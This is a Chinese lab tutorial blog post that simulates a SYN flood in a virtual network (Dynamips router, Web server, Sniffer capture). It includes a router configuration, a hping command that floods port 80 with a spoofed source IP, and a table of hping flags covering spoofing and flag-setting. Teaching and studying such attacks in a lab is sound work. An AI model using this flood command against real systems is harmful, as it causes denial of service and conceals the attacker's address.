模拟实现SYN Flood
2010-08-21 17:52
106 查看
需求描述
使用hping构造SYN报文段,模拟实现SYN Flood
R1:
环境搭建
使用VMWare和Dynamips。(PC1可以使用本地宿主机)
实现思路
1. 配置DynamipsGUI - R1
2. 在Web主机上搭建安装Web服务
3. 在PC1上访问Web服务器,可以正常访问。
4. 在Web服务器上启用SnifferPro抓包
5. 在PC2上发动SYN Flood攻击(需要提前安装Hping源码包)
6. 在Web主机上查看SnifferPro抓到的包,看到有很多SYN Flood
7. 在PC1上访问Web服务器时,看到打开网页时非常慢,甚至无法访问
补充:
hping相关参数说明
至此、实验完毕!
欢迎来我的博客:http://jiayf.blog.51cto.com/
使用hping构造SYN报文段,模拟实现SYN Flood
R1:
Router1 F0/0 <----> XPC P0/0 Router1 F1/0 <----> XPC P0/1 Router1 F2/0 <----> XPC P0/2 |
使用VMWare和Dynamips。(PC1可以使用本地宿主机)
实现思路
1. 配置DynamipsGUI - R1
Router#conf t Router(config)#hostname R1 R1(config)#line 0 R1(config-line)#logg s R1(config-line)#exit R1(config)#int f0/0 R1(config-if)#ip add 192.168.0.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#int f1/0 R1(config-if)#ip add 192.168.1.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#int f2/0 R1(config-if)#ip add 192.168.2.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#end R1#show ip int b Interface IP-Address OK? Method Status Protocol FastEthernet0/0 192.168.0.254 YES manual up up FastEthernet1/0 192.168.1.254 YES manual up up FastEthernet2/0 192.168.2.254 YES manual up up |
3. 在PC1上访问Web服务器,可以正常访问。
4. 在Web服务器上启用SnifferPro抓包
5. 在PC2上发动SYN Flood攻击(需要提前安装Hping源码包)
[root@localhost ~]# hping 192.168.1.1 -p 80 -i u1 -S -a 1.1.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes |
7. 在PC1上访问Web服务器时,看到打开网页时非常慢,甚至无法访问
补充:
hping相关参数说明
参数 | 说明 |
-1 | 使用ICMP模式 |
-2 | 使用UDP模式 |
-p | 指定目的主机端口号 |
-i | 设置发送时间间隔,例如 -i u100 表示间隔100微秒 |
-S | 设置SYN标志 |
-a | 伪造源IP地址 |
-c | 发送数据包个数 |
-N | 设置IP包的ID |
-t | 设置TTL(默认64) |
-x | 设置more fragments 标志 |
-g | 设置fragment offset |
-C | 设置ICMP类型 |
-d | 设置载荷大小 |
至此、实验完毕!
欢迎来我的博客:http://jiayf.blog.51cto.com/
相关文章推荐
- js实现模拟自动点击按钮,并且在10秒倒计时之后疯狂点击
- 用冒泡排序的方法模拟实现qsort函数
- php使用curl实现简单模拟提交表单功能
- 简单实现多线程同步示例(模拟购票系统)
- 实现一个模拟动画显示控件
- 普通IO口模拟实现I2C通信及应用解析
- Linux下模拟ping命令的C代码实现1
- Android单点登录的模拟实现
- 用GPIO模拟SPI协议的实现
- C++实现人员信息管理系统模拟
- 模拟实现memcpy,memmove
- 使用" 参数化基类" 和" 成员函数指针" 模拟实现虚函数--在实际中的应用
- 模拟实现strcpy
- linux2.4 GPIO模拟实现I2C数据传输-DS1302
- 用一个div模拟textarea的实现
- C#三种模拟自动登录和提交POST信息的实现方法
- JAVA实现 简单抢红包算法,模拟真实抢红包。
- 1.模拟实现strncpy 2.模拟实现strncat 3.模拟实现strncmp
- jquery实现模拟select下拉框效果
- 模拟实现VC中的handle的c++方法,欢迎指正~~~